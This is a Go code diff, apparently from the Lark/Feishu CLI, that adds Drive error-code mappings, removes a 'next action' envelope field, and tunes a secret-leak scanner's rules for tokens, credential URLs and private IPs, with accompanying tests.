+	consoleURL := "https://open.feishu.cn/page/scope-apply?clientID=cli_x&scopes=contact%3Acontact"
 	for _, identity := range []string{"user", "bot", ""} {
 		got := errclass.PermissionHint([]string{"contact:contact"}, identity, errs.SubtypeAppScopeNotApplied, consoleURL)
 		if !strings.Contains(got, "developer console") {

internal/errclass/codemeta_drive.go

@@ -10,8 +10,20 @@ import "github.com/larksuite/cli/errs"
 // ambiguous codes fall back to CategoryAPI via BuildAPIError.
 // BuildAPIError consumes this map via mergeCodeMeta + LookupCodeMeta.
 var driveCodeMeta = map[int]CodeMeta{
-	1061044: {Category: errs.CategoryAPI, Subtype: errs.SubtypeNotFound},          // parent folder does not exist (upload)
-	1069302: {Category: errs.CategoryAPI, Subtype: errs.SubtypeInvalidParameters}, // comment endpoint "Invalid or missing parameters"
+	1061001:  {Category: errs.CategoryAPI, Subtype: errs.SubtypeServerError, Retryable: true}, // Drive "unknown error"
+	1061002:  {Category: errs.CategoryAPI, Subtype: errs.SubtypeInvalidParameters},            // params error
+	1061004:  {Category: errs.CategoryAuthorization, Subtype: errs.SubtypePermissionDenied},   // forbidden
+	1061007:  {Category: errs.CategoryAPI, Subtype: errs.SubtypeNotFound},                     // file has been deleted
+	1061043:  {Category: errs.CategoryAPI, Subtype: errs.SubtypeQuotaExceeded},                // file size beyond limit
+	1061044:  {Category: errs.CategoryAPI, Subtype: errs.SubtypeNotFound},                     // parent folder does not exist (upload)
+	1062009:  {Category: errs.CategoryAPI, Subtype: errs.SubtypeInvalidParameters},            // actual size inconsistent with declared size
+	1063001:  {Category: errs.CategoryAPI, Subtype: errs.SubtypeInvalidParameters},            // secure label invalid parameter
+	1063002:  {Category: errs.CategoryAuthorization, Subtype: errs.SubtypePermissionDenied},   // secure label permission denied
+	1063013:  {Category: errs.CategoryValidation, Subtype: errs.SubtypeFailedPrecondition},    // secure label downgrade requires approval
+	1069302:  {Category: errs.CategoryAPI, Subtype: errs.SubtypeInvalidParameters},            // comment endpoint "Invalid or missing parameters"
+	99992402: {Category: errs.CategoryAPI, Subtype: errs.SubtypeInvalidParameters},            // platform field validation failed
+	9499:     {Category: errs.CategoryAPI, Subtype: errs.SubtypeInvalidParameters},            // invalid parameter type in JSON field
+	2200:     {Category: errs.CategoryAPI, Subtype: errs.SubtypeServerError, Retryable: true}, // Drive tenant/internal errors
 }
 
 func init() { mergeCodeMeta(driveCodeMeta, "drive") }

internal/errclass/codemeta_drive_test.go

@@ -27,6 +27,13 @@ func TestLookupCodeMeta_DriveCodes(t *testing.T) {
 		// 1069302: comment endpoint's opaque "Invalid or missing parameters"
 		// (shortcuts/drive/drive_add_comment.go) → API-side parameter rejection.
 		{1069302, errs.CategoryAPI, errs.SubtypeInvalidParameters, false},
+		// Secure label endpoint codes observed from drive +secure-label-update
+		// failure telemetry.
+		{1063001, errs.CategoryAPI, errs.SubtypeInvalidParameters, false},
+		{1063002, errs.CategoryAuthorization, errs.SubtypePermissionDenied, false},
+		{1063013, errs.CategoryValidation, errs.SubtypeFailedPrecondition, false},
+		{99992402, errs.CategoryAPI, errs.SubtypeInvalidParameters, false},
+		{9499, errs.CategoryAPI, errs.SubtypeInvalidParameters, false},
 	}
 	for _, tc := range cases {
 		t.Run(fmt.Sprintf("%d", tc.code), func(t *testing.T) {

internal/errclass/codemeta_test.go

@@ -102,6 +102,35 @@ func TestLookupCodeMeta_RetryableRateLimit(t *testing.T) {
 	}
 }
 
+func TestLookupCodeMeta_DrivePushCodes(t *testing.T) {
+	cases := []struct {
+		code        int
+		wantCat     errs.Category
+		wantSubtype errs.Subtype
+		wantRetry   bool
+	}{
+		{1061001, errs.CategoryAPI, errs.SubtypeServerError, true},
+		{1061002, errs.CategoryAPI, errs.SubtypeInvalidParameters, false},
+		{1061004, errs.CategoryAuthorization, errs.SubtypePermissionDenied, false},
+		{1061007, errs.CategoryAPI, errs.SubtypeNotFound, false},
+		{1061043, errs.CategoryAPI, errs.SubtypeQuotaExceeded, false},
+		{1062009, errs.CategoryAPI, errs.SubtypeInvalidParameters, false},
+		{2200, errs.CategoryAPI, errs.SubtypeServerError, true},
+	}
+	for _, tc := range cases {
+		t.Run(fmt.Sprintf("%d", tc.code), func(t *testing.T) {
+			got, ok := LookupCodeMeta(tc.code)
+			if !ok {
+				t.Fatalf("LookupCodeMeta(%d) ok=false, want true", tc.code)
+			}
+			if got.Category != tc.wantCat || got.Subtype != tc.wantSubtype || got.Retryable != tc.wantRetry {
+				t.Fatalf("LookupCodeMeta(%d) = %+v, want Category=%v Subtype=%v Retryable=%v",
+					tc.code, got, tc.wantCat, tc.wantSubtype, tc.wantRetry)
+			}
+		})
+	}
+}
+
 func TestLookupCodeMeta_Unknown(t *testing.T) {
 	_, ok := LookupCodeMeta(999999)
 	if ok {

internal/output/envelope.go

@@ -15,20 +15,8 @@ type Envelope struct {
 
 // Meta carries optional metadata in envelope responses.
 type Meta struct {
-	Count    int          `json:"count,omitempty"`
-	Rollback string       `json:"rollback,omitempty"`
-	Next     []NextAction `json:"next,omitempty"`
-}
-
-// NextAction is a typed "suggested next command" that an AI caller can execute
-// directly.
-type NextAction struct {
-	Label   string `json:"label"`
-	Command string `json:"command"`
-	// Template, when true, marks a Command that contains <...> placeholders and
-	// must be fully substituted by the caller before execution; it is not
-	// directly executable as-is. Directly executable commands omit the field.
-	Template bool `json:"template,omitempty"`
+	Count    int    `json:"count,omitempty"`
+	Rollback string `json:"rollback,omitempty"`
 }
 
 // PendingNotice, if set, returns system-level notices to inject as the

internal/output/envelope_test.go

@@ -1,214 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package output
-
-import (
-	"encoding/json"
-	"testing"
-)
-
-// marshalMeta marshals m and fails the test on error, returning the JSON bytes.
-func marshalMeta(t *testing.T, m *Meta) []byte {
-	t.Helper()
-	b, err := json.Marshal(m)
-	if err != nil {
-		t.Fatalf("json.Marshal(%#v) error = %v", m, err)
-	}
-	return b
-}
-
-// unmarshalMap unmarshals b into a generic map and fails the test on error.
-func unmarshalMap(t *testing.T, b []byte) map[string]interface{} {
-	t.Helper()
-	var got map[string]interface{}
-	if err := json.Unmarshal(b, &got); err != nil {
-		t.Fatalf("json.Unmarshal(%s) error = %v", b, err)
-	}
-	return got
-}
-
-func TestMetaNextSerialization_NonEmptyRoundTrips(t *testing.T) {
-	m := &Meta{Next: []NextAction{{Label: "poll", Command: "lark-cli agent task get example:x t1"}}}
-
-	got := unmarshalMap(t, marshalMeta(t, m))
-
-	rawNext, ok := got["next"]
-	if !ok {
-		t.Fatalf("expected \"next\" key, got %#v", got)
-	}
-	next, ok := rawNext.([]interface{})
-	if !ok {
-		t.Fatalf("next type = %T, want array", rawNext)
-	}
-	if len(next) != 1 {
-		t.Fatalf("len(next) = %d, want 1", len(next))
-	}
-	action, ok := next[0].(map[string]interface{})
-	if !ok {
-		t.Fatalf("next[0] type = %T, want object", next[0])
-	}
-	if action["label"] != "poll" {
-		t.Errorf("next[0].label = %v, want poll", action["label"])
-	}
-	if action["command"] != "lark-cli agent task get example:x t1" {
-		t.Errorf("next[0].command = %v, want the poll command", action["command"])
-	}
-}
-
-func TestMetaNextSerialization_NilOmitted(t *testing.T) {
-	got := unmarshalMap(t, marshalMeta(t, &Meta{Count: 1}))
-
-	if _, ok := got["next"]; ok {
-		t.Errorf("nil Next must be omitted, got %#v", got)
-	}
-	if got["count"] != float64(1) {
-		t.Errorf("count = %v, want 1", got["count"])
-	}
-}
-
-func TestMetaNextSerialization_EmptySliceOmitted(t *testing.T) {
-	// A non-nil but empty slice must also be dropped by omitempty (len == 0).
-	got := unmarshalMap(t, marshalMeta(t, &Meta{Next: []NextAction{}}))
-
-	if _, ok := got["next"]; ok {
-		t.Errorf("empty Next slice must be omitted, got %#v", got)
-	}
-}
-
-func TestMetaNextSerialization_EmptyFieldsPresent(t *testing.T) {
-	// A NextAction with empty fields still serializes: label/command have no
-	// omitempty, so they render as empty strings and the entry stays present.
-	got := unmarshalMap(t, marshalMeta(t, &Meta{Next: []NextAction{{}}}))
-
-	next, ok := got["next"].([]interface{})
-	if !ok || len(next) != 1 {
-		t.Fatalf("next = %#v, want single-element array", got["next"])
-	}
-	action, ok := next[0].(map[string]interface{})
-	if !ok {
-		t.Fatalf("next[0] type = %T, want object", next[0])
-	}
-	label, hasLabel := action["label"]
-	command, hasCommand := action["command"]
-	if !hasLabel || label != "" {
-		t.Errorf("label = %v (present=%v), want empty string present", label, hasLabel)
-	}
-	if !hasCommand || command != "" {
-		t.Errorf("command = %v (present=%v), want empty string present", command, hasCommand)
-	}
-}
-
-func TestMetaNextSerialization_TemplateTruePresent(t *testing.T) {
-	// A template hint (command carries <...> placeholders) must serialize the
-	// marker so AI callers know it needs substitution before execution.
-	m := &Meta{Next: []NextAction{{
-		Label:    "continue",
-		Command:  "lark-cli agent send example:x --context-id c1 --task-id t1 --text <你的答复>",
-		Template: true,
-	}}}
-
-	next, ok := unmarshalMap(t, marshalMeta(t, m))["next"].([]interface{})
-	if !ok || len(next) != 1 {
-		t.Fatalf("next = %#v, want single-element array", next)
-	}
-	action, _ := next[0].(map[string]interface{})
-	if action["template"] != true {
-		t.Errorf("template = %v, want true", action["template"])
-	}
-}
-
-func TestMetaNextSerialization_TemplateFalseOmitted(t *testing.T) {
-	// A directly executable hint must not carry the template key at all
-	// (omitempty): its absence is the "run verbatim" signal.
-	m := &Meta{Next: []NextAction{{Label: "poll", Command: "lark-cli agent task get example:x t1 --watch"}}}
-
-	next, ok := unmarshalMap(t, marshalMeta(t, m))["next"].([]interface{})
-	if !ok || len(next) != 1 {
-		t.Fatalf("next = %#v, want single-element array", next)
-	}
-	action, _ := next[0].(map[string]interface{})
-	if _, present := action["template"]; present {
-		t.Errorf("template=false must be omitted, got %#v", action)
-	}
-}
-
-func TestMetaNextSerialization_MultipleActionsPreserveOrder(t *testing.T) {
-	m := &Meta{Next: []NextAction{
-		{Label: "poll", Command: "lark-cli agent task get example:x t1"},
-		{Label: "cancel", Command: "lark-cli agent task cancel example:x t1"},
-	}}
-
-	next, ok := unmarshalMap(t, marshalMeta(t, m))["next"].([]interface{})
-	if !ok || len(next) != 2 {
-		t.Fatalf("next = %#v, want two-element array", next)
-	}
-	first, _ := next[0].(map[string]interface{})
-	second, _ := next[1].(map[string]interface{})
-	if first["label"] != "poll" || second["label"] != "cancel" {
-		t.Errorf("order not preserved: got %v then %v", first["label"], second["label"])
-	}
-}
-
-func TestMetaNextSerialization_SpecialCharacters(t *testing.T) {
-	// Fields carrying quotes, unicode and newlines must survive a JSON round
-	// trip intact, which string matching would not reliably verify.
-	label := `poll "now"`
-	command := "lark-cli agent task get example:代理 t1\n--wait"
-	m := &Meta{Next: []NextAction{{Label: label, Command: command}}}
-
-	next, _ := unmarshalMap(t, marshalMeta(t, m))["next"].([]interface{})
-	if len(next) != 1 {
-		t.Fatalf("next = %#v, want single-element array", next)
-	}
-	action, _ := next[0].(map[string]interface{})
-	if action["label"] != label {
-		t.Errorf("label = %q, want %q", action["label"], label)
-	}
-	if action["command"] != command {
-		t.Errorf("command = %q, want %q", action["command"], command)
-	}
-}
-
-func TestEnvelopeMetaNextIntegration(t *testing.T) {
-	// Meta.Next must serialize correctly when nested inside a full Envelope,
-	// under the "meta" key alongside data.
-	env := Envelope{
-		OK:   true,
-		Data: map[string]interface{}{"task_id": "t1"},
-		Meta: &Meta{Next: []NextAction{{Label: "poll", Command: "lark-cli agent task get example:x t1"}}},
-	}
-	b, err := json.Marshal(env)
-	if err != nil {
-		t.Fatalf("json.Marshal(envelope) error = %v", err)
-	}
-	got := unmarshalMap(t, b)
-
-	if got["ok"] != true {
-		t.Errorf("ok = %v, want true", got["ok"])
-	}
-	meta, ok := got["meta"].(map[string]interface{})
-	if !ok {
-		t.Fatalf("meta type = %T, want object", got["meta"])
-	}
-	next, ok := meta["next"].([]interface{})
-	if !ok || len(next) != 1 {
-		t.Fatalf("meta.next = %#v, want single-element array", meta["next"])
-	}
-	action, _ := next[0].(map[string]interface{})
-	if action["command"] != "lark-cli agent task get example:x t1" {
-		t.Errorf("meta.next[0].command = %v, want the poll command", action["command"])
-	}
-}
-
-func TestEnvelopeNilMetaOmitted(t *testing.T) {
-	// nil Meta is a valid edge case: the "meta" key must not appear.
-	b, err := json.Marshal(Envelope{OK: true})
-	if err != nil {
-		t.Fatalf("json.Marshal(envelope) error = %v", err)
-	}
-	got := unmarshalMap(t, b)
-	if _, ok := got["meta"]; ok {
-		t.Errorf("nil Meta must be omitted, got %#v", got)
-	}
-}

internal/qualitygate/publiccontent/scan.go

@@ -7,6 +7,7 @@ import (
 	"encoding/base64"
 	"encoding/json"
 	"fmt"
+	"math"
 	"path/filepath"
 	"sort"
 	"strings"
@@ -78,12 +79,15 @@ func scanText(file, source, text string, detectorFile bool) []Finding {
 			out = append(out, newFinding("public_content_bearer_header", file, lineNo, source, "Authorization: Bearer <redacted>"))
 		}
 		for _, match := range credentialURLRE.FindAllString(line, -1) {
-			if isPlaceholderCredentialURL(match) {
+			if isPlaceholderCredentialURL(file, match) {
 				continue
 			}
 			out = append(out, newFinding("public_content_credential_url", file, lineNo, source, redactCredentialURL(match)))
 		}
 		for _, match := range privateIPv4RE.FindAllString(line, -1) {
+			if !warnForPrivateIPv4(file) {
+				continue
+			}
 			out = append(out, newFinding("public_content_private_ipv4", file, lineNo, source, match))
 		}
 		if source == "branch" && automationBranchRE.MatchString(line) {
@@ -130,6 +134,9 @@ func isCredentialAssignmentMatch(match string) bool {
 	if isBenignTokenField(name) && !credentialShapedValue(value) {
 		return false
 	}
+	if isWeakTokenCredentialKey(name) && !weakTokenValueLooksCredentialLike(value) {
+		return false
+	}
 	return isExplicitCredentialKey(name)
 }
 
@@ -284,6 +291,9 @@ func tokenLikePlaceholderValue(key, value string) bool {
 	if normalized == "" || credentialShapedIdentifier(normalized) {
 		return false
 	}
+	if authCredentialTokenKey(key) {
+		return false
+	}
 	return resourceTokenPlaceholderValue(value) ||
 		maskedTokenFixturePlaceholderValue(key, normalized) ||
 		isPlaceholderValue(value) ||
@@ -313,11 +323,109 @@ func maskedTokenFixturePlaceholderValue(key, value string) bool {
 	return stars >= 6 && alnum > 0
 }
 
+func isWeakTokenCredentialKey(key string) bool {
+	if authCredentialTokenKey(key) || isStrongTokenCredentialKey(key) {
+		return false
+	}
+	return key == "token" ||
+		strings.HasSuffix(key, "_token") ||
+		strings.HasSuffix(key, "-token")
+}
+
+func isStrongTokenCredentialKey(key string) bool {
+	parts := credentialKeyParts(strings.ReplaceAll(strings.ToLower(key), "-", "_"))
+	for _, phrase := range [][2]string{
+		{"access", "token"},
+		{"refresh", "token"},
+		{"auth", "token"},
+		{"bearer", "token"},
+		{"session", "token"},
+		{"service", "token"},
+		{"bot", "token"},
+		{"api", "token"},
+		{"secret", "token"},
+	} {
+		if hasAdjacentCredentialParts(parts, phrase[0], phrase[1]) {
+			return true
+		}
+	}
+	return false
+}
+
+func weakTokenValueLooksCredentialLike(value string) bool {
+	normalized := strings.ToLower(strings.Trim(value, `"'<>`))
+	if normalized == "" ||
+		isNonSecretLiteralValue(value) ||
+		isPlaceholderValue(value) {
+		return false
+	}
+	candidate := unwrapCredentialValue(normalized)
+	return credentialShapedIdentifier(candidate) ||
+		highEntropyCredentialValue(candidate) ||
+		commandSubstitutionLooksCredentialLike(normalized) ||
+		(strings.Contains(normalized, "://") &&
+			urlRemainderLooksCredentialLike(removeAnglePlaceholders(normalized)))
+}
+
+func unwrapCredentialValue(value string) string {
+	value = strings.TrimSpace(strings.Trim(value, `"'<>`))
+	if strings.HasPrefix(value, "${{") && strings.HasSuffix(value, "}}") {
+		value = strings.TrimSpace(strings.TrimSuffix(strings.TrimPrefix(value, "${{"), "}}"))
+	}
+	value = strings.TrimPrefix(value, "$")
+	value = strings.Trim(value, "%")
+	return strings.TrimSpace(value)
+}
+
+func highEntropyCredentialValue(value string) bool {
+	if len(value) < 32 {
+		return false
+	}
+	var hasLetter, hasDigit bool
+	for _, r := range value {
+		switch {
+		case r >= 'a' && r <= 'z':
+			hasLetter = true
+		case r >= '0' && r <= '9':
+			hasDigit = true
+		case r == '_' || r == '-' || r == '.' || r == '=':
+		default:
+			return false
+		}
+	}
+	return hasLetter && hasDigit && shannonEntropy(value) >= 3.5
+}
+
+func shannonEntropy(value string) float64 {
+	if value == "" {
+		return 0
+	}
+	counts := map[rune]int{}
+	for _, r := range value {
+		counts[r]++
+	}
+	var entropy float64
+	length := float64(len([]rune(value)))
+	for _, count := range counts {
+		p := float64(count) / length
+		entropy -= p * log2(p)
+	}
+	return entropy
+}
+
+func log2(value float64) float64 {
+	return math.Log(value) / math.Ln2
+}
+
 func authCredentialTokenKey(key string) bool {
 	switch strings.ReplaceAll(strings.ToLower(key), "-", "_") {
 	case "access_token",
+		"api_token",
+		"bot_token",
 		"refresh_token",
+		"secret_token",
 		"session_token",
+		"service_token",
 		"bearer_token",
 		"auth_token",
 		"authorization_token",
@@ -844,7 +952,7 @@ func looksLikeEqualityComparison(value string) bool {
 	return strings.HasPrefix(strings.TrimSpace(value), "=")
 }
 
-func isPlaceholderCredentialURL(raw string) bool {
+func isPlaceholderCredentialURL(file, raw string) bool {
 	userInfo, ok := credentialURLUserInfo(raw)
 	if !ok {
 		return false
@@ -853,7 +961,8 @@ func isPlaceholderCredentialURL(raw string) bool {
 	if !ok {
 		return false
 	}
-	return credentialURLPasswordPlaceholder(password)
+	return credentialURLPasswordPlaceholder(password) ||
+		(sourceOrTestFixtureFile(file) && credentialURLPasswordFixture(password))
 }
 
 func credentialURLPasswordPlaceholder(password string) bool {
@@ -867,6 +976,46 @@ func credentialURLPasswordPlaceholder(password string) bool {
 	return angleWrappedPlaceholder(decoded) || percentWrappedPlaceholder(decoded)
 }
 
+func credentialURLPasswordFixture(password string) bool {
+	normalized := strings.ToLower(strings.Trim(password, `"'`))
+	switch normalized {
+	case "p",
+		"pass",
+		"password",
+		"pat_abc",
+		"pw",
+		"s3cret",
+		"secret",
+		"t":
+		return true
+	default:
+		return false
+	}
+}
+
+func sourceOrTestFixtureFile(file string) bool {
+	normalized := filepath.ToSlash(file)
+	return sourceCodeFile(normalized) ||
+		strings.HasPrefix(normalized, "testdata/") ||
+		strings.HasPrefix(normalized, "fixtures/") ||
+		strings.Contains(normalized, "/testdata/") ||
+		strings.Contains(normalized, "/fixtures/")
+}
+
+func warnForPrivateIPv4(file string) bool {
+	normalized := filepath.ToSlash(file)
+	if sourceOrTestFixtureFile(normalized) {
+		return false
+	}
+	switch filepath.Ext(normalized) {
+	case ".md", ".mdx", ".txt", ".json", ".yaml", ".yml", ".toml", ".env":
+		return true
+	default:
+		return strings.HasPrefix(normalized, "docs/") ||
+			strings.HasPrefix(normalized, "skills/")
+	}
+}
+
 func credentialURLUserInfo(raw string) (string, bool) {
 	schemeIdx := strings.Index(raw, "://")
 	if schemeIdx < 0 {

internal/qualitygate/publiccontent/scan_test.go

@@ -61,6 +61,19 @@ func TestScanFileWarnsForPrivateIPv4Examples(t *testing.T) {
 	}
 }
 
+func TestScanFileAllowsPrivateIPv4SourceFixtures(t *testing.T) {
+	got := ScanFile("internal/transport/warn_test.go", []byte(strings.Join([]string{
+		`proxy := "http://user:pass@10.0.0.1:3128"`,
+		`target := "socks5://admin:secret@172.16.0.1:1080"`,
+		`host := "192.168.0.10"`,
+	}, "\n")+"\n"))
+	for _, item := range got {
+		if item.Rule == "public_content_private_ipv4" {
+			t.Fatalf("private IPv4 source fixtures should not be public content findings: %#v", got)
+		}
+	}
+}
+
 func TestSemanticCandidateRequiresSpecificRiskSignals(t *testing.T) {
 	benign := semanticCandidate("docs/network.md", "file", "For a local lab, use RFC1918 example host 192.168."+"0.10 only.", 1)
 	if len(benign) != 0 {
@@ -632,6 +645,45 @@ func TestScanFileAllowsCredentialURLPlaceholders(t *testing.T) {
 	}
 }
 
+func TestScanFileAllowsCredentialURLFixtures(t *testing.T) {
+	got := ScanFile("fixtures/network_test.go", []byte(strings.Join([]string{
+		`proxy := "http://user:pass@proxy:8080"`,
+		`repo := "https://u:t@h/r.git"`,
+		`target := "https://attacker:pw@open.feishu.cn"`,
+		`proxy := "http://admin:s3cret@127.0.0.1:3128"`,
+		`repo := "http://x-token:PAT_abc@git.host/app_x.git"`,
+	}, "\n")+"\n"))
+	for _, item := range got {
+		if item.Rule == "public_content_credential_url" {
+			t.Fatalf("credential URL fixtures should not be credential URL findings: %#v", got)
+		}
+	}
+}
+
+func TestScanFileAllowsRootCredentialURLFixtures(t *testing.T) {
+	got := ScanFile("fixtures/network.md", []byte(strings.Join([]string{
+		`proxy: http://user:pass@proxy:8080`,
+		`repo: https://u:t@h/r.git`,
+	}, "\n")+"\n"))
+	for _, item := range got {
+		if item.Rule == "public_content_credential_url" {
+			t.Fatalf("root credential URL fixtures should not be credential URL findings: %#v", got)
+		}
+	}
+}
+
+func TestScanFileAllowsRootPrivateIPv4Fixtures(t *testing.T) {
+	got := ScanFile("testdata/network.md", []byte(strings.Join([]string{
+		`endpoint: http://10.0.0.1:8080`,
+		`redis: 192.168.1.10:6379`,
+	}, "\n")+"\n"))
+	for _, item := range got {
+		if item.Rule == "public_content_private_ipv4" {
+			t.Fatalf("root private IPv4 fixtures should not be private IPv4 findings: %#v", got)
+		}
+	}
+}
+
 func TestScanFileDetectsCredentialURLsWithRedactedSubstringPasswords(t *testing.T) {
 	got := ScanFile("docs/config.yaml", []byte("DATABASE_URL=postgres://user:notredactedreal@example.invalid/db\n"))
 	for _, item := range got {
@@ -648,6 +700,7 @@ func TestScanFileDetectsCredentialURLsWithPlaceholderUserAndRealPassword(t *test
 		"DATABASE_URL=postgres://<user>:real-secret@example.invalid/db",
 		"DATABASE_URL=postgres://<user>:" + stripeLike + "@example.invalid/db",
 		"URL=https://<user>:real-secret@example.invalid/path",
+		"REPO=https://x-token:" + stripeLike + "@git.host/app.git",
 	}, "\n")+"\n"))
 	var count int
 	for _, item := range got {
@@ -661,8 +714,8 @@ func TestScanFileDetectsCredentialURLsWithPlaceholderUserAndRealPassword(t *test
 			}
 		}
 	}
-	if count != 3 {
-		t.Fatalf("placeholder-user credential URL findings = %d, want 3: %#v", count, got)
+	if count != 4 {
+		t.Fatalf("placeholder-user credential URL findings = %d, want 4: %#v", count, got)
 	}
 }
 
@@ -724,6 +777,68 @@ func TestScanFileAllowsBenignJSONTokenFields(t *testing.T) {
 	}
 }
 
+func TestScanFileAllowsWeakTokenFieldsWithoutCredentialEvidence(t *testing.T) {
+	got := ScanFile("docs/resource-tokens.md", []byte(strings.Join([]string{
+		`{"token":"img_abc123"}`,
+		`{"token":"img_live_secret"}`,
+		`{"token":"img_prod_key"}`,
+		`token=ab********cd`,
+		`{"image_token":"img_live_secret"}`,
+		`{"data_mail_token":"mail_abc123"}`,
+		`{"whiteboard_token":"board_v3_example"}`,
+		`{"want_token":"token from callback"}`,
+	}, "\n")+"\n"))
+	for _, item := range got {
+		if item.Rule == "public_content_generic_credential" {
+			t.Fatalf("weak token fields without credential evidence should not be credential findings: %#v", got)
+		}
+	}
+}
+
+func TestScanFileDetectsWeakTokenFieldsWithHighConfidenceCredentialValues(t *testing.T) {
+	githubToken := "ghp_" + "1234567890abcdef1234567890abcdef1234"
+	stripeToken := "sk_" + "live_1234567890abcdef"
+	randomToken := strings.Join([]string{
+		"a1b2c3d4",
+		"e5f6g7h8",
+		"i9j0k1l2",
+		"m3n4p5q6",
+	}, "")
+	got := ScanFile("docs/config.md", []byte(strings.Join([]string{
+		`{"token":"` + githubToken + `"}`,
+		`token=` + stripeToken,
+		`{"image_token":"` + githubToken + `"}`,
+		`{"token":"` + randomToken + `"}`,
+	}, "\n")+"\n"))
+	var count int
+	for _, item := range got {
+		if item.Rule == "public_content_generic_credential" {
+			count++
+		}
+	}
+	if count != 4 {
+		t.Fatalf("high-confidence weak token credential findings = %d, want 4: %#v", count, got)
+	}
+}
+
+func TestScanFileDetectsStrongAuthTokenKeysWithFixtureLikeValues(t *testing.T) {
+	got := ScanFile("docs/config.md", []byte(strings.Join([]string{
+		`{"access_token":"img_abc123"}`,
+		`{"api_token":"img_live_secret"}`,
+		`{"service_token":"ab********cd"}`,
+		`{"bot_token":"board_v3_example"}`,
+	}, "\n")+"\n"))
+	var count int
+	for _, item := range got {
+		if item.Rule == "public_content_generic_credential" {
+			count++
+		}
+	}
+	if count != 4 {
+		t.Fatalf("strong auth token key findings = %d, want 4: %#v", count, got)
+	}
+}
+
 func TestScanFileAllowsTestFixtureSecretValues(t *testing.T) {
 	got := ScanFile("fixtures/calendar_meeting_test.go", []byte(`AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,`+"\n"))
 	for _, item := range got {
@@ -1052,10 +1167,12 @@ func TestScanFileDetectsCredentialShapedTokenLikePlaceholderValues(t *testing.T)
 	}
 }
 
-func TestScanFileDetectsNonFixtureMinuteTokenValues(t *testing.T) {
+func TestScanFileAllowsNonFixtureResourceTokenValues(t *testing.T) {
 	got := ScanFile("fixtures/minutes_search_test.go", []byte(`{"token":"minute_real_secret"}`+"\n"))
-	if !findingRules(got)["public_content_generic_credential"] {
-		t.Fatalf("non-fixture minute token should be credential finding: %#v", got)
+	for _, item := range got {
+		if item.Rule == "public_content_generic_credential" {
+			t.Fatalf("resource-like bare token value should not be credential finding: %#v", got)
+		}
 	}
 }
 

internal/registry/scope_hint.go

@@ -59,13 +59,9 @@ func BuildConsoleScopeURL(brand core.LarkBrand, appID, scope string) string {
 	if appID == "" || scope == "" {
 		return ""
 	}
-	host := "open.feishu.cn"
-	if brand == core.BrandLark {
-		host = "open.larksuite.com"
-	}
 	return fmt.Sprintf(
-		"https://%s/page/scope-apply?clientID=%s&scopes=%s",
-		host,
+		"%s/page/scope-apply?clientID=%s&scopes=%s",
+		core.ResolveOpenBaseURL(brand),
 		url.QueryEscape(appID),
 		url.QueryEscape(scope),
 	)

internal/svglide/agent_runtime_e2e_test.go

@@ -0,0 +1,411 @@
+package svglide
+
+import (
+	"encoding/json"
+	"os"
+	"path/filepath"
+	"testing"
+)
+
+func TestFakeAgentHappyPathProducesSVGDeck(t *testing.T) {
+	t.Chdir(t.TempDir())
+	writeDefaultSemanticContractForTest(t)
+	opts := InitOptions{Title: "电影介绍", Pages: 1}
+	setStringInitOptionField(t, &opts, "Topic", "介绍一部电影")
+	setStringInitOptionField(t, &opts, "Language", "zh")
+	setStringInitOptionField(t, &opts, "AgentRuntime", "fake-agent")
+	setStringInitOptionField(t, &opts, "AgentID", "fake-agent-e2e")
+
+	if err := InitRun("demo", opts); err != nil {
+		t.Fatalf("topic-only fake-agent init should succeed: %v", err)
+	}
+	if err := os.MkdirAll(filepath.Join("demo", "receipts", "prompt_context"), 0o755); err != nil {
+		t.Fatal(err)
+	}
+
+	for _, stage := range []string{
+		StageRequest,
+		StageRequestResolution,
+		StageResearch,
+		StageDesignBrief,
+		StageOutline,
+		StageSlideContent,
+		StageAssets,
+		StageSVGAuthor,
+	} {
+		run := readStatusTestRunFile(t)
+		if run.CurrentStage != stage {
+			t.Fatalf("current stage = %q, want %q", run.CurrentStage, stage)
+		}
+		next, err := NextTask("demo")
+		if err != nil {
+			t.Fatalf("NextTask(%s): %v", stage, err)
+		}
+		assertNextTaskHasRuntimeProtocolFields(t, next, stage)
+		writeFakeAgentReceiptsFromNext(t, next)
+		writeFakeAgentStageArtifacts(t, stage)
+		if _, err := CompleteCurrentStage("demo"); err != nil {
+			t.Fatalf("complete %s: %v", stage, err)
+		}
+	}
+
+	next, err := NextTask("demo")
+	if err != nil {
+		t.Fatalf("NextTask(%s): %v", StageValidatePreviewRepair, err)
+	}
+	assertNextTaskHasRuntimeProtocolFields(t, next, StageValidatePreviewRepair)
+	writeFakeAgentReceiptsFromNext(t, next)
+
+	repair, err := RepairRun("demo")
+	if err != nil {
+		t.Fatalf("repair: %v", err)
+	}
+	if repair.Status != "passed" {
+		t.Fatalf("repair status = %q, want passed: %+v", repair.Status, repair)
+	}
+	mustWritePassedScreenshotEvidenceForTest(t)
+	if _, err := CompleteCurrentStage("demo"); err != nil {
+		t.Fatalf("complete %s: %v", StageValidatePreviewRepair, err)
+	}
+	for _, rel := range []string{
+		"slides/01.svg",
+		"preview.html",
+		"receipts/image_usage.json",
+		"receipts/media_pressure.json",
+		"receipts/content_payload.json",
+		"receipts/editorial_quality.json",
+		"receipts/screenshot_evidence.json",
+		"receipts/chart_quality.json",
+		"quality_report.json",
+		"anygen_semantic_report.json",
+		"receipts/delivery.json",
+	} {
+		if _, err := os.Stat(filepath.Join("demo", rel)); err != nil {
+			t.Fatalf("missing final artifact %s: %v", rel, err)
+		}
+	}
+	raw, err := os.ReadFile(filepath.Join("demo", "receipts", "delivery.json"))
+	if err != nil {
+		t.Fatal(err)
+	}
+	var delivery DeliveryReceipt
+	if err := json.Unmarshal(raw, &delivery); err != nil {
+		t.Fatal(err)
+	}
+	if delivery.SemanticMetrics.VisibleLeakCount != 0 || delivery.SemanticMetrics.MissingFontTokenCount != 0 {
+		t.Fatalf("delivery semantic metrics = %+v, want no visible leaks and all font tokens", delivery.SemanticMetrics)
+	}
+	if delivery.Status != StatusReady {
+		t.Fatalf("delivery status = %q, want ready with full-chain screenshot evidence: %+v", delivery.Status, delivery.FullChainEvidence)
+	}
+	if len(delivery.FullChainEvidence.ScreenshotEvidence) == 0 {
+		t.Fatalf("delivery screenshot evidence is empty: %+v", delivery.FullChainEvidence)
+	}
+}
+
+func TestFakeAgentChartChainRendersAndValidatesVegaLite(t *testing.T) {
+	t.Chdir(t.TempDir())
+	writeDefaultSemanticContractForTest(t)
+	opts := InitOptions{Title: "Chart Deck", Pages: 1}
